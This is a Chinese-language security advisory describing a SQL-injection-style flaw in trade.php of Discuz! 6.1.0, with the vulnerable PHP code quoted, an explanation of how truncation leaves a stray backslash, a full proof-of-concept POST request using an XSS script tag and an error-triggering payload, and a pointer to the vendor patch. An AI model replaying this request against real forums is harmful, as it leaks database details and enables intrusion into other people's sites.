Discuz!论坛程序trade.php页面存在数据库'注射'缺陷


添加时间:
2008-12-09

系统编号:
WAVDB-01266

影响版本:
Discuz! 6.1.0

程序介绍:

Crossday Discuz! Board 论坛系统(简称 Discuz! 论坛)是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。作为商业软件产品, Discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑。凭借 Discuz! 开发组长期积累的丰富的 web 开发及数据库经验,和强于创新,追求完美的设计理念,使得 Discuz! 在很短时间内以其鲜明的个性特色从国内外同类产品中脱颖而出。经过了效率最优化和负载能力最佳化设计的 Discuz! ,已获得业内越来越多专家和权威企业的认可。

漏洞分析:

文件trade.php:  

 
  1. $message = trim($message);  
  2.   if($message) {  
  3.    $message = daddslashes($tradelog['message'], 1)."\t\t\t".$discuz_uid."\t".$discuz_user."\t".$timestamp."\t".nl2br(strip_tags(substr($message, 0, 200)));  
  4.   //$message用substr处理了下,取前200个字符  
  5.   } else {  
  6.    $message = daddslashes($tradelog['message'], 1);  
  7.   }  
  8.   
  9.   $db->query("UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE orderid='$orderid'");  
  10.   //这个地方$message直接进入sql语句了:)  
  11.   showmessage('trade_orderstatus_updated''trade.php?orderid='.$orderid);  
  12.  }  

把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和\',在经过substr的处理变为199个A和\,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息



漏洞利用:

POST discuz/trade.php/<script>alert(/xss/)</script>?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312



解决方案:
厂商补丁:
Discuz!
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.discuz.net/

信息来源:
<*
80vul
http://www.80vul.com/dzvul/sodb/07/sodb-2008-07.txt
*>